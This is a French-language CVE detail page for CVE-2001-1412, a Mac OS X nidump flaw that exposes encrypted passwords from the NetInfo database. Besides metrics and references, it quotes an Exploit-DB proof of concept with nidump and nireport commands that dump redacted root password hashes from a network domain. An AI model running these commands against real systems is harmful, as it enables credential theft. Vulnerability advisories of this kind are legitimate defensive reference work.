CVE-2001-1412 : Détail

CVE-2001-1412

0.23%V4
Local
2003-10-25
02h00 +00:00
2016-10-17
11h57 +00:00
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Descriptions du CVE

nidump on MacOS X before 10.3 allows local users to read the encrypted passwords from the password file by specifying passwd as a command line argument.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 20984

Date de publication : 2001-06-25 22h00 +00:00
Auteur : Steven Kreuzer
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2953/info A vulnerability exists in all versions of Apple MacOS X. It has been found to contain a vulnerability which could allow disclosure of passwords and other sensitive system information. nidump is a Mac OS X system data extraction utility which can be used to read the contents of the NetInfo database. This utility's default file permissions leave this utility available to any local user at the command line. However, hosts with a network nidomain may be vulnerable to remote exploitation of this issue. This is possible if remote tags are used for nidump. It should also be noted that both portmap and netinfobind must be listening on the target host for this issue to be exploited. The output of the nidump command can reveal the list of usernames and passwords in clear text. An attacker could then use this list to log in as a user with administrative priveleges. % nidomain -l xxx.xxx.net tag=network udp=797 tcp=798 tag=local udp=795 tcp=796 % nidump -t xxx.xxx.net/network passwd root:xxxxxxxx.:0:0::0:0:System Administrator:/private/var/root:/bin/tcsh % nireport -t xxx.xxx.net/network /users name uid passwd root 0 xxxxxxxxx. % nidump -r / -t xxx.xxxx.net/network { "master" = ( "localhost/network" ); CHILDREN = ( { "name" = ( "machines" ); CHILDREN = ( { "name" = ( "localhost" ); "ip_address" = ( "xxx.xxx.xxx.xxx" ); "serves" = ( "./network", "localhost/local" ); } ) }, { "name" = ( "users" ); CHILDREN = ( { "name" = ( "root" ); "passwd" = ( "xxxxxxxxx." ); "uid" = ( "0" ); "gid" = ( "0" ); "change" = ( "0" ); "expire" = ( "0" ); "realname" = ( "System Administrator" ); "home" = ( "/private/var/root" ); "shell" = ( "/bin/tcsh" ); } etc.

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.4.9

Références

http://securitytracker.com/id?1001946
Tags : vdb-entry, x_refsource_SECTRACK
http://lists.insecure.org/lists/bugtraq/2002/Sep/0128.html
Tags : mailing-list, x_refsource_BUGTRAQ
http://marc.info/?l=bugtraq&m=99953038722104&w=2
Tags : mailing-list, x_refsource_BUGTRAQ